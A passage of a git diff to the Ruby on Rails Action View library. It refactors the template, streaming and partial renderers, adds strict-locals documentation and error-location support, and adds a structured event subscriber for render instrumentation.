+              renderer.render_object_with_partial(options[:object], partial, context, block)
+            else
+              # Partial
+              renderer = PartialRenderer.new(@lookup_context, options)
+              renderer.render(partial, context, block)
+            end
+          end
+        else
+          collection = collection_from_object(partial) || collection_from_options(options)
+
+          if collection
+            # Collection + Derived Partial
+            renderer = CollectionRenderer.new(@lookup_context, options)
+            renderer.render_collection_derive_partial(collection, context, block)
+          else
+            # Object + Derived Partial
+            renderer = ObjectRenderer.new(@lookup_context, options)
+            renderer.render_object_derive_partial(partial, context, block)
+          end
+        end
+      end
+
+      def collection_from_options(options)
+        if options.key?(:collection)
+          collection = options[:collection]
+          collection || []
+        end
+      end
+
+      def collection_from_object(object)
+        object if object.respond_to?(:to_ary)
+      end
   end
 end
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
index 62ce985243969..97e4224366706 100644
--- a/actionview/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -1,15 +1,16 @@
-require "fiber"
+# frozen_string_literal: true
+
 
 module ActionView
   # == TODO
   #
   # * Support streaming from child templates, partials and so on.
   # * Rack::Cache needs to support streaming bodies
-  class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
+  class StreamingTemplateRenderer < TemplateRenderer # :nodoc:
     # A valid Rack::Body (i.e. it responds to each).
     # It is initialized with a block that, when called, starts
     # rendering the template.
-    class Body #:nodoc:
+    class Body # :nodoc:
       def initialize(&start)
         @start = start
       end
@@ -24,15 +25,21 @@ def each(&block)
         self
       end
 
-      private
+      # Returns the complete body as a string.
+      def body
+        buffer = String.new
+        each { |part| buffer << part }
+        buffer
+      end
 
+      private
         # This is the same logging logic as in ShowExceptions middleware.
         def log_error(exception)
           logger = ActionView::Base.logger
           return unless logger
 
-          message = "\n#{exception.class} (#{exception.message}):\n"
-          message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+          message = +"\n#{exception.class} (#{exception.message}):\n"
+          message << exception.annotated_source_code.to_s if exception.respond_to?(:annotated_source_code)
           message << "  " << exception.backtrace.join("\n  ")
           logger.fatal("#{message}\n\n")
         end
@@ -41,19 +48,18 @@ def log_error(exception)
     # For streaming, instead of rendering a given a template, we return a Body
     # object that responds to each. This object is initialized with a block
     # that knows how to render the template.
-    def render_template(template, layout_name = nil, locals = {}) #:nodoc:
-      return [super] unless layout_name && template.supports_streaming?
+    def render_template(view, template, layout_name = nil, locals = {}) # :nodoc:
+      return [super.body] unless template.supports_streaming?
 
       locals ||= {}
-      layout   = layout_name && find_layout(layout_name, locals.keys, [formats.first])
+      layout   = find_layout(layout_name, locals.keys, [formats.first])
 
       Body.new do |buffer|
-        delayed_render(buffer, template, layout, @view, locals)
+        delayed_render(buffer, template, layout, view, locals)
       end
     end
 
     private
-
       def delayed_render(buffer, template, layout, view, locals)
         # Wrap the given buffer in the StreamingBuffer and pass it to the
         # underlying template handler. Now, every time something is concatenated
@@ -62,8 +68,15 @@ def delayed_render(buffer, template, layout, view, locals)
         output  = ActionView::StreamingBuffer.new(buffer)
         yielder = lambda { |*name| view._layout_for(*name) }
 
-        instrument(:template, identifier: template.identifier, layout: layout.try(:virtual_path)) do
+        ActiveSupport::Notifications.instrument(
+          "render_template.action_view",
+          identifier: template.identifier,
+          layout: layout && layout.virtual_path,
+          locals: locals
+        ) do
+          outer_config = I18n.config
           fiber = Fiber.new do
+            I18n.config = outer_config
             if layout
               layout.render(view, locals, output, &yielder)
             else
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
index 54317199de366..1f9aba7d79d12 100644
--- a/actionview/lib/action_view/renderer/template_renderer.rb
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -1,21 +1,17 @@
-require "active_support/core_ext/object/try"
+# frozen_string_literal: true
 
 module ActionView
-  class TemplateRenderer < AbstractRenderer #:nodoc:
+  class TemplateRenderer < AbstractRenderer # :nodoc:
     def render(context, options)
-      @view    = context
       @details = extract_details(options)
       template = determine_template(options)
 
-      prepend_formats(template.formats)
+      prepend_formats(template.format)
 
-      @lookup_context.rendered_format ||= (template.formats.first || formats.first)
-
-      render_template(template, options[:layout], options[:locals])
+      render_template(context, template, options[:layout], options[:locals] || {})
     end
 
     private
-
       # Determine the template to be rendered using the given options.
       def determine_template(options)
         keys = options.has_key?(:locals) ? options[:locals].keys : []
@@ -27,44 +23,63 @@ def determine_template(options)
         elsif options.key?(:html)
           Template::HTML.new(options[:html], formats.first)
         elsif options.key?(:file)
-          with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
+          if File.exist?(options[:file])
+            Template::RawFile.new(options[:file])
+          else
+            if Pathname.new(options[:file]).absolute?
+              raise ArgumentError, "File #{options[:file]} does not exist"
+            else
+              raise ArgumentError, "`render file:` should be given the absolute path to a file. '#{options[:file]}' was given instead"
+            end
+          end
         elsif options.key?(:inline)
           handler = Template.handler_for_extension(options[:type] || "erb")
-          Template.new(options[:inline], "inline template", handler, locals: keys)
+          format = if handler.respond_to?(:default_format)
+            handler.default_format
+          else
+            @lookup_context.formats.first
+          end
+          Template::Inline.new(options[:inline], "inline template", handler, locals: keys, format: format)
+        elsif options.key?(:renderable)
+          Template::Renderable.new(options[:renderable])
         elsif options.key?(:template)
           if options[:template].respond_to?(:render)
             options[:template]
           else
-            find_template(options[:template], options[:prefixes], false, keys, @details)
+            @lookup_context.find_template(options[:template], options[:prefixes], false, keys, @details)
           end
         else
-          raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :html or :body option."
+          raise ArgumentError, "You invoked render but did not give any of :body, :file, :html, :inline, :partial, :plain, :renderable, or :template option."
         end
       end
 
       # Renders the given template. A string representing the layout can be
       # supplied as well.
-      def render_template(template, layout_name = nil, locals = nil)
-        view, locals = @view, locals || {}
-
-        render_with_layout(layout_name, locals) do |layout|
-          instrument(:template, identifier: template.identifier, layout: layout.try(:virtual_path)) do
+      def render_template(view, template, layout_name, locals)
+        render_with_layout(view, template, layout_name, locals) do |layout|
+          ActiveSupport::Notifications.instrument(
+            "render_template.action_view",
+            identifier: template.identifier,
+            layout: layout && layout.virtual_path,
+            locals: locals
+          ) do
             template.render(view, locals) { |*name| view._layout_for(*name) }
           end
         end
       end
 
-      def render_with_layout(path, locals)
+      def render_with_layout(view, template, path, locals)
         layout  = path && find_layout(path, locals.keys, [formats.first])
-        content = yield(layout)
 
-        if layout
-          view = @view
-          view.view_flow.set(:layout, content)
-          layout.render(view, locals) { |*name| view._layout_for(*name) }
+        body = if layout
+          ActiveSupport::Notifications.instrument("render_layout.action_view", identifier: layout.identifier) do
+            view.view_flow.set(:layout, yield(layout))
+            layout.render(view, locals) { |*name| view._layout_for(*name) }
+          end
         else
-          content
+          yield
         end
+        build_rendered_template(body, template)
       end
 
       # This is the method which actually finds the layout using details in the lookup
@@ -82,16 +97,16 @@ def resolve_layout(layout, keys, formats)
         when String
           begin
             if layout.start_with?("/")
-              with_fallbacks { find_template(layout, nil, false, [], details) }
+              raise ArgumentError, "Rendering layouts from an absolute path is not supported."
             else
-              find_template(layout, nil, false, [], details)
+              @lookup_context.find_template(layout, nil, false, keys, details)
             end
           rescue ActionView::MissingTemplate
             all_details = @details.merge(formats: @lookup_context.default_formats)
-            raise unless template_exists?(layout, nil, false, [], all_details)
+            raise unless template_exists?(layout, nil, false, keys, **all_details)
           end
         when Proc
-          resolve_layout(layout.call(formats), keys, formats)
+          resolve_layout(layout.call(@lookup_context, formats, keys), keys, formats)
         else
           layout
         end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
index cf18562c4520f..415436acf9664 100644
--- a/actionview/lib/action_view/rendering.rb
+++ b/actionview/lib/action_view/rendering.rb
@@ -1,14 +1,17 @@
+# frozen_string_literal: true
+
 require "action_view/view_paths"
 
 module ActionView
   # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
   # it will trigger the lookup_context and consequently expire the cache.
-  class I18nProxy < ::I18n::Config #:nodoc:
+  class I18nProxy < ::I18n::Config # :nodoc:
     attr_reader :original_config, :lookup_context
 
     def initialize(original_config, lookup_context)
       original_config = original_config.original_config if original_config.respond_to?(:original_config)
-      @original_config, @lookup_context = original_config, lookup_context
+      @original_config = original_config
+      @lookup_context = lookup_context
     end
 
     def locale
@@ -24,8 +27,15 @@ module Rendering
     extend ActiveSupport::Concern
     include ActionView::ViewPaths
 
-    # Overwrite process to setup I18n proxy.
-    def process(*) #:nodoc:
+    attr_internal_reader :rendered_format
+
+    def initialize
+      @_rendered_format = nil
+      super
+    end
+
+    # Override process to set up I18n proxy.
+    def process(...) # :nodoc:
       old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
       super
     ensure
@@ -33,86 +43,113 @@ def process(*) #:nodoc:
     end
 
     module ClassMethods
-      def view_context_class
-        @view_context_class ||= begin
-          supports_path = supports_path?
-          routes  = respond_to?(:_routes)  && _routes
-          helpers = respond_to?(:_helpers) && _helpers
-
-          Class.new(ActionView::Base) do
-            if routes
-              include routes.url_helpers(supports_path)
-              include routes.mounted_helpers
-            end
-
-            if helpers
-              include helpers
-            end
+      def _routes
+      end
+
+      def _helpers
+      end
+
+      def inherit_view_context_class?
+        superclass.respond_to?(:view_context_class) &&
+          supports_path? == superclass.supports_path? &&
+          _routes.equal?(superclass._routes) &&
+          _helpers.equal?(superclass._helpers)
+      end
+
+      def build_view_context_class(klass, supports_path, routes, helpers)
+        if inherit_view_context_class?
+          return superclass.view_context_class
+        end
+
+        Class.new(klass) do
+          if routes
+            include routes.url_helpers(supports_path)
+            include routes.mounted_helpers
+          end
+
+          if helpers
+            include helpers
           end
         end
       end
-    end
 
-    attr_internal_writer :view_context_class
+      def eager_load!
+        super
+        view_context_class
+        nil
+      end
+
+      def view_context_class
+        klass = ActionView::LookupContext::DetailsKey.view_context_class
+
+        @view_context_class ||= build_view_context_class(klass, supports_path?, _routes, _helpers)
+
+        if klass.changed?(@view_context_class)
+          @view_context_class = build_view_context_class(klass, supports_path?, _routes, _helpers)
+        end
+
+        @view_context_class
+      end
+    end
 
     def view_context_class
-      @_view_context_class ||= self.class.view_context_class
+      self.class.view_context_class
     end
 
     # An instance of a view class. The default view class is ActionView::Base.
     #
     # The view class must have the following methods:
-    # View.new[lookup_context, assigns, controller]
-    #   Create a new ActionView instance for a controller and we can also pass the arguments.
-    # View#render(option)
-    #   Returns String with the rendered template
+    #
+    # * <tt>View.new(lookup_context, assigns, controller)</tt> — Create a new
+    #   ActionView instance for a controller and we can also pass the arguments.
+    #
+    # * <tt>View#render(option)</tt> — Returns String with the rendered template.
     #
     # Override this method in a module to change the default behavior.
     def view_context
-      view_context_class.new(view_renderer, view_assigns, self)
+      view_context_class.new(lookup_context, view_assigns, self)
     end
 
     # Returns an object that is able to render templates.
-    # :api: private
-    def view_renderer
+    def view_renderer # :nodoc:
+      # Lifespan: Per controller
       @_view_renderer ||= ActionView::Renderer.new(lookup_context)
     end
 
     def render_to_body(options = {})
       _process_options(options)
+      _process_render_template_options(options)
       _render_template(options)
     end
 
-    def rendered_format
-      Template::Types[lookup_context.rendered_format]
-    end
-
     private
-
       # Find and render a template based on the options given.
-      # :api: private
       def _render_template(options)
         variant = options.delete(:variant)
         assigns = options.delete(:assigns)
         context = view_context
 
         context.assign assigns if assigns
-        lookup_context.rendered_format = nil if options[:formats]
         lookup_context.variants = variant if variant
 
-        view_renderer.render(context, options)
+        rendered_template = context.in_rendering_context(options) do |renderer|
+          renderer.render_to_object(context, options)
+        end
+
+        rendered_format = rendered_template.format || lookup_context.formats.first
+        @_rendered_format = Template::Types[rendered_format]
+
+        rendered_template.body
       end
 
       # Assign the rendered format to look up context.
       def _process_format(format)
         super
-        lookup_context.formats = [format.to_sym]
-        lookup_context.rendered_format = lookup_context.formats.first
+        lookup_context.formats = [format.to_sym] if format.to_sym
       end
 
-      # Normalize args by converting render "foo" to render :action => "foo" and
-      # render "foo/bar" to render :template => "foo/bar".
-      # :api: private
+      # Normalize args by converting render "foo" to render action: "foo" and
+      # render "foo/bar" to render template: "foo/bar".
       def _normalize_args(action = nil, options = {})
         options = super(action, options)
         case action
@@ -126,6 +163,8 @@ def _normalize_args(action = nil, options = {})
         else
           if action.respond_to?(:permitted?) && action.permitted?
             options = action
+          elsif action.respond_to?(:render_in)
+            options[:renderable] = action
           else
             options[:partial] = action
           end
@@ -135,19 +174,16 @@ def _normalize_args(action = nil, options = {})
       end
 
       # Normalize options.
-      # :api: private
-      def _normalize_options(options)
-        options = super(options)
+      def _process_render_template_options(options)
         if options[:partial] == true
           options[:partial] = action_name
         end
 
-        if (options.keys & [:partial, :file, :template]).empty?
+        if !options.keys.intersect?([:partial, :file, :template])
           options[:prefixes] ||= _prefixes
         end
 
         options[:template] ||= (options[:action] || action_name).to_s
-        options
       end
   end
 end
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
index 687ba7c1b45fd..5de43700317ee 100644
--- a/actionview/lib/action_view/routing_url_for.rb
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -1,17 +1,19 @@
+# frozen_string_literal: true
+
 require "action_dispatch/routing/polymorphic_routes"
 
 module ActionView
   module RoutingUrlFor
     # Returns the URL for the set of +options+ provided. This takes the
     # same options as +url_for+ in Action Controller (see the
-    # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
-    # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
-    # instead of the fully qualified URL like "http://example.com/controller/action".
+    # documentation for ActionDispatch::Routing::UrlFor#url_for). Note that by default
+    # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative <tt>"/controller/action"</tt>
+    # instead of the fully qualified URL like <tt>"http://example.com/controller/action"</tt>.
     #
     # ==== Options
     # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
     # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
-    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+    # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in <tt>"/archive/2005/"</tt>. Note that this
     #   is currently not recommended since it breaks caching.
     # * <tt>:host</tt> - Overrides the default (current) host if provided.
     # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
@@ -45,6 +47,9 @@ module RoutingUrlFor
     #   <%= url_for(action: 'jump', anchor: 'tax&ship') %>
     #   # => /testing/jump/#tax&ship
     #
+    #   <%= url_for(Workshop) %>
+    #   # => /workshops
+    #
     #   <%= url_for(Workshop.new) %>
     #   # relies on Workshop answering a persisted? call (and in this case returning false)
     #   # => /workshops
@@ -82,29 +87,28 @@ def url_for(options = nil)
         super(only_path: _generate_paths_by_default)
       when Hash
         options = options.symbolize_keys
-        unless options.key?(:only_path)
-          options[:only_path] = only_path?(options[:host])
-        end
+        ensure_only_path_option(options)
 
         super(options)
       when ActionController::Parameters
-        unless options.key?(:only_path)
-          options[:only_path] = only_path?(options[:host])
-        end
+        ensure_only_path_option(options)
 
         super(options)
       when :back
         _back_url
       when Array
         components = options.dup
-        if _generate_paths_by_default
-          polymorphic_path(components, components.extract_options!)
+        options = components.extract_options!
+        ensure_only_path_option(options)
+
+        if options[:only_path]
+          polymorphic_path(components, options)
         else
-          polymorphic_url(components, components.extract_options!)
+          polymorphic_url(components, options)
         end
       else
         method = _generate_paths_by_default ? :path : :url
-        builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.send(method)
+        builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.public_send(method)
 
         case options
         when Symbol
@@ -117,7 +121,7 @@ def url_for(options = nil)
       end
     end
 
-    def url_options #:nodoc:
+    def url_options # :nodoc:
       return super unless controller.respond_to?(:url_options)
       controller.url_options
     end
@@ -136,8 +140,10 @@ def _generate_paths_by_default
         true
       end
 
-      def only_path?(host)
-        _generate_paths_by_default unless host
+      def ensure_only_path_option(options)
+        unless options.key?(:only_path)
+          options[:only_path] = _generate_paths_by_default unless options[:host]
+        end
       end
   end
 end
diff --git a/actionview/lib/action_view/structured_event_subscriber.rb b/actionview/lib/action_view/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..0b16b944bf3db
--- /dev/null
+++ b/actionview/lib/action_view/structured_event_subscriber.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module ActionView
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    VIEWS_PATTERN = /^app\/views\//
+
+    def initialize
+      @root = nil
+      super
+    end
+
+    def render_template(event)
+      emit_debug_event("action_view.render_template",
+        identifier: from_rails_root(event.payload[:identifier]),
+        layout: from_rails_root(event.payload[:layout]),
+        duration_ms: event.duration.round(2),
+        gc_ms: event.gc_time.round(2),
+      )
+    end
+    debug_only :render_template
+
+    def render_partial(event)
+      emit_debug_event("action_view.render_partial",
+        identifier: from_rails_root(event.payload[:identifier]),
+        layout: from_rails_root(event.payload[:layout]),
+        duration_ms: event.duration.round(2),
+        gc_ms: event.gc_time.round(2),
+        cache_hit: event.payload[:cache_hit],
+      )
+    end
+    debug_only :render_partial
+
+    def render_layout(event)
+      emit_event("action_view.render_layout",
+        identifier: from_rails_root(event.payload[:identifier]),
+        duration_ms: event.duration.round(2),
+        gc_ms: event.gc_time.round(2),
+      )
+    end
+    debug_only :render_layout
+
+    def render_collection(event)
+      emit_debug_event("action_view.render_collection",
+        identifier: from_rails_root(event.payload[:identifier] || "templates"),
+        layout: from_rails_root(event.payload[:layout]),
+        duration_ms: event.duration.round(2),
+        gc_ms: event.gc_time.round(2),
+        cache_hits: event.payload[:cache_hits],
+        count: event.payload[:count],
+      )
+    end
+    debug_only :render_collection
+
+    module Utils # :nodoc:
+      private
+        def from_rails_root(string)
+          return unless string
+
+          string = string.sub("#{rails_root}/", "")
+          string.sub!(VIEWS_PATTERN, "")
+          string
+        end
+
+        def rails_root # :doc:
+          @root ||= Rails.try(:root)
+        end
+    end
+
+    include Utils
+
+    class Start # :nodoc:
+      include Utils
+
+      def start(name, id, payload)
+        ActiveSupport.event_reporter.debug("action_view.render_start",
+          is_layout: name == "render_layout.action_view",
+          identifier: from_rails_root(payload[:identifier]),
+          layout: from_rails_root(payload[:layout]),
+        )
+      end
+
+      def finish(name, id, payload)
+      end
+    end
+
+    def self.attach_to(*)
+      ActiveSupport::Notifications.subscribe("render_template.action_view", Start.new)
+      ActiveSupport::Notifications.subscribe("render_layout.action_view", Start.new)
+
+      super
+    end
+  end
+end
+
+ActionView::StructuredEventSubscriber.attach_to :action_view
diff --git a/actionview/lib/action_view/tasks/cache_digests.rake b/actionview/lib/action_view/tasks/cache_digests.rake
index d30b3f77975b1..dd8e94bd88e54 100644
--- a/actionview/lib/action_view/tasks/cache_digests.rake
+++ b/actionview/lib/action_view/tasks/cache_digests.rake
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 namespace :cache_digests do
   desc "Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)"
   task nested_dependencies: :environment do
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
index c067031d2d9e4..faa44e3f131e7 100644
--- a/actionview/lib/action_view/template.rb
+++ b/actionview/lib/action_view/template.rb
@@ -1,20 +1,22 @@
-require "active_support/core_ext/object/try"
-require "active_support/core_ext/kernel/singleton_class"
-require "thread"
+# frozen_string_literal: true
+
+require "delegate"
 
 module ActionView
-  # = Action View Template
+  # = Action View \Template
   class Template
     extend ActiveSupport::Autoload
 
+    STRICT_LOCALS_REGEX = /\#\s+locals:\s+\((.*?)\)(?=\s*-?%>|\s*$)/m
+
     # === Encodings in ActionView::Template
     #
     # ActionView::Template is one of a few sources of potential
-    # encoding issues in Rails. This is because the source for
+    # encoding issues in \Rails. This is because the source for
     # templates are usually read from disk, and Ruby (like most
     # encoding-aware programming languages) assumes that the
     # String retrieved through File IO is encoded in the
-    # <tt>default_external</tt> encoding. In Rails, the default
+    # <tt>default_external</tt> encoding. In \Rails, the default
     # <tt>default_external</tt> encoding is UTF-8.
     #
     # As a result, if a user saves their template as ISO-8859-1
@@ -33,13 +35,13 @@ class Template
     #    to the problem.
     # 2. The user can specify the encoding using Ruby-style
     #    encoding comments in any template engine. If such
-    #    a comment is supplied, Rails will apply that encoding
+    #    a comment is supplied, \Rails will apply that encoding
     #    to the resulting compiled source returned by the
     #    template handler.
     # 3. In all cases, we transcode the resulting String to
     #    the UTF-8.
     #
-    # This means that other parts of Rails can always assume
+    # This means that other parts of \Rails can always assume
     # that templates are encoded in UTF-8, even if the original
     # source of the template was not UTF-8.
     #
@@ -50,7 +52,7 @@ class Template
     # === Instructions for template handlers
     #
     # The easiest thing for you to do is to simply ignore
-    # encodings. Rails will hand you the template source
+    # encodings. \Rails will hand you the template source
     # as the default_internal (generally UTF-8), raising
     # an exception for the user before sending the template
     # to you if it could not determine the original encoding.
@@ -67,7 +69,7 @@ class Template
     # you may indicate that you will handle encodings yourself
     # by implementing <tt>handles_encoding?</tt> on your handler.
     #
-    # If you do, Rails will not try to encode the String
+    # If you do, \Rails will not try to encode the String
     # into the default_internal, passing you the unaltered
     # bytes tagged with the assumed encoding (from
     # default_external).
@@ -93,50 +95,165 @@ class Template
     #
     # Given this sub template rendering:
     #
-    #   <%= render "shared/header", { headline: "Welcome", person: person } %>
+    #   <%= render "application/header", { headline: "Welcome", person: person } %>
     #
     # You can use +local_assigns+ in the sub templates to access the local variables:
     #
     #   local_assigns[:headline] # => "Welcome"
+    #
+    # Each key in +local_assigns+ is available as a partial-local variable:
+    #
+    #   local_assigns[:headline] # => "Welcome"
+    #   headline                 # => "Welcome"
+    #
+    # Since +local_assigns+ is a +Hash+, it's compatible with Ruby 3.1's pattern
+    # matching assignment operator:
+    #
+    #   local_assigns => { headline:, **options }
+    #   headline                 # => "Welcome"
+    #   options                  # => {}
+    #
+    # Pattern matching assignment also supports variable renaming:
+    #
+    #   local_assigns => { headline: title }
+    #   title                    # => "Welcome"
+    #
+    # If a template refers to a variable that isn't passed into the view as part
+    # of the <tt>locals: { ... }</tt> Hash, the template will raise an
+    # +ActionView::Template::Error+:
+    #
+    #   <%# => raises ActionView::Template::Error %>
+    #   <% alerts.each do |alert| %>
+    #     <p><%= alert %></p>
+    #   <% end %>
+    #
+    # Since +local_assigns+ returns a +Hash+ instance, you can conditionally
+    # read a variable, then fall back to a default value when
+    # the key isn't part of the <tt>locals: { ... }</tt> options:
+    #
+    #   <% local_assigns.fetch(:alerts, []).each do |alert| %>
+    #     <p><%= alert %></p>
+    #   <% end %>
+    #
+    # Combining Ruby 3.1's pattern matching assignment with calls to
+    # +Hash#with_defaults+ enables compact partial-local variable
+    # assignments:
+    #
+    #   <% local_assigns.with_defaults(alerts: []) => { headline:, alerts: } %>
+    #
+    #   <h1><%= headline %></h1>
+    #
+    #   <% alerts.each do |alert| %>
+    #     <p><%= alert %></p>
+    #   <% end %>
+    #
+    # By default, templates will accept any <tt>locals</tt> as keyword arguments
+    # and make them available to <tt>local_assigns</tt>. To restrict what
+    # <tt>local_assigns</tt> a template will accept, add a <tt>locals:</tt> magic comment:
+    #
+    #   <%# locals: (headline:, alerts: []) %>
+    #
+    #   <h1><%= headline %></h1>
+    #
+    #   <% alerts.each do |alert| %>
+    #     <p><%= alert %></p>
+    #   <% end %>
+    #
+    # Read more about strict locals in {Action View Overview}[https://guides.rubyonrails.org/action_view_overview.html#strict-locals]
+    # in the guides.
 
     eager_autoload do
       autoload :Error
+      autoload :RawFile
+      autoload :Renderable
       autoload :Handlers
       autoload :HTML
+      autoload :Inline
+      autoload :Types
+      autoload :Sources
       autoload :Text
       autoload :Types
     end
 
     extend Template::Handlers
 
-    attr_accessor :locals, :formats, :variants, :virtual_path
-
-    attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
+    singleton_class.attr_accessor :frozen_string_literal
+    @frozen_string_literal = false
 
-    # This finalizer is needed (and exactly with a proc inside another proc)
-    # otherwise templates leak in development.
-    Finalizer = proc do |method_name, mod| # :nodoc:
-      proc do
-        mod.module_eval do
-          remove_possible_method method_name
+    class << self # :nodoc:
+      def mime_types_implementation=(implementation)
+        # This method isn't thread-safe, but it's not supposed
+        # to be called after initialization
+        if self::Types != implementation
+          remove_const(:Types)
+          const_set(:Types, implementation)
         end
       end
     end
 
-    def initialize(source, identifier, handler, details)
-      format = details[:format] || (handler.default_format if handler.respond_to?(:default_format))
+    attr_reader :identifier, :handler
+    attr_reader :variable, :format, :variant, :virtual_path
 
-      @source            = source
+    NONE = Object.new
+
+    def initialize(source, identifier, handler, locals:, format: nil, variant: nil, virtual_path: nil)
+      @source            = source.dup
       @identifier        = identifier
       @handler           = handler
       @compiled          = false
-      @original_encoding = nil
-      @locals            = details[:locals] || []
-      @virtual_path      = details[:virtual_path]
-      @updated_at        = details[:updated_at] || Time.now
-      @formats           = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f  }
-      @variants          = [details[:variant]]
+      @locals            = locals
+      @virtual_path      = virtual_path
+
+      @variable = if @virtual_path
+        base = @virtual_path.end_with?("/") ? "" : ::File.basename(@virtual_path)
+        base =~ /\A_?(.*?)(?:\.\w+)*\z/
+        $1.to_sym
+      end
+
+      @format            = format
+      @variant           = variant
       @compile_mutex     = Mutex.new
+      @strict_locals     = NONE
+      @strict_local_keys = nil
+      @type              = nil
+    end
+
+    # The locals this template has been or will be compiled for, or nil if this
+    # is a strict locals template.
+    def locals
+      if strict_locals?
+        nil
+      else
+        @locals
+      end
+    end
+
+    def spot(location) # :nodoc:
+      node_id = RubyVM::AbstractSyntaxTree.node_id_for_backtrace_location(location)
+      found =
+        if RubyVM::InstructionSequence.compile("").to_a[4][:parser] == :prism
+          require "prism"
+
+          if Prism::VERSION >= "1.0.0"
+            result = Prism.parse(compiled_source).value
+            result.breadth_first_search { |node| node.node_id == node_id }
+          end
+        else
+          node = RubyVM::AbstractSyntaxTree.parse(compiled_source, keep_script_lines: true)
+          find_node_by_id(node, node_id)
+        end
+
+      ErrorHighlight.spot(found) if found
+    end
+
+    # Translate an error location returned by ErrorHighlight to the correct
+    # source location inside the template.
+    def translate_location(backtrace_location, spot)
+      if handler.respond_to?(:translate_location)
+        handler.translate_location(spot, backtrace_location, encode!) || spot
+      else
+        spot
+      end
     end
 
     # Returns whether the underlying handler supports streaming. If so,
@@ -151,59 +268,65 @@ def supports_streaming?
     # This method is instrumented as "!render_template.action_view". Notice that
     # we use a bang in this instrumentation because you don't want to
     # consume this in production. This is only slow if it's being listened to.
-    def render(view, locals, buffer = nil, &block)
+    def render(view, locals, buffer = nil, implicit_locals: [], add_to_stack: true, &block)
       instrument_render_template do
         compile!(view)
-        view.send(method_name, locals, buffer, &block)
+
+        if strict_locals? && @strict_local_keys && !implicit_locals.empty?
+          locals_to_ignore = implicit_locals - @strict_local_keys
+          locals.except!(*locals_to_ignore)
+        end
+
+        if buffer
+          view._run(method_name, self, locals, buffer, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)
+          nil
+        else
+          result = view._run(method_name, self, locals, OutputBuffer.new, add_to_stack: add_to_stack, has_strict_locals: strict_locals?, &block)
+          result.is_a?(OutputBuffer) ? result.to_s : result
+        end
       end
     rescue => e
       handle_render_error(view, e)
     end
 
     def type
-      @type ||= Types[@formats.first] if @formats.first
+      @type ||= Types[format]
     end
 
-    # Receives a view object and return a template similar to self by using @virtual_path.
-    #
-    # This method is useful if you have a template object but it does not contain its source
-    # anymore since it was already compiled. In such cases, all you need to do is to call
-    # refresh passing in the view object.
-    #
-    # Notice this method raises an error if the template to be refreshed does not have a
-    # virtual path set (true just for inline templates).
-    def refresh(view)
-      raise "A template needs to have a virtual path in order to be refreshed" unless @virtual_path
-      lookup  = view.lookup_context
-      pieces  = @virtual_path.split("/")
-      name    = pieces.pop
-      partial = !!name.sub!(/^_/, "")
-      lookup.disable_cache do
-        lookup.find_template(name, [ pieces.join("/") ], partial, @locals)
-      end
+    def short_identifier
+      @short_identifier ||= defined?(Rails.root) ? identifier.delete_prefix("#{Rails.root}/") : identifier
     end
 
     def inspect
-      @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", "".freeze) : identifier
+      "#<#{self.class.name} #{short_identifier} locals=#{locals.inspect}>"
+    end
+
+    def source
+      @source.to_s
     end
 
+    LEADING_ENCODING_REGEXP = /\A#{ENCODING_FLAG}/
+    private_constant :LEADING_ENCODING_REGEXP
+
     # This method is responsible for properly setting the encoding of the
     # source. Until this point, we assume that the source is BINARY data.
     # If no additional information is supplied, we assume the encoding is
     # the same as <tt>Encoding.default_external</tt>.
     #
     # The user can also specify the encoding via a comment on the first
-    # line of the template (# encoding: NAME-OF-ENCODING). This will work
+    # line of the template (<tt># encoding: NAME-OF-ENCODING</tt>). This will work
     # with any template engine, as we process out the encoding comment
     # before passing the source on to the template engine, leaving a
     # blank line in its stead.
     def encode!
-      return unless source.encoding == Encoding::BINARY
+      source = self.source
+
+      return source unless source.encoding == Encoding::BINARY
 
       # Look for # encoding: *. If we find one, we'll encode the
       # String in that encoding, otherwise, we'll use the
       # default external encoding.
-      if source.sub!(/\A#{ENCODING_FLAG}/, "")
+      if source.sub!(LEADING_ENCODING_REGEXP, "")
         encoding = magic_encoding = $1
       else
         encoding = Encoding.default_external
@@ -231,7 +354,64 @@ def encode!
       end
     end
 
+    # This method is responsible for marking a template as having strict locals
+    # which means the template can only accept the locals defined in a magic
+    # comment. For example, if your template accepts the locals +title+ and
+    # +comment_count+, add the following to your template file:
+    #
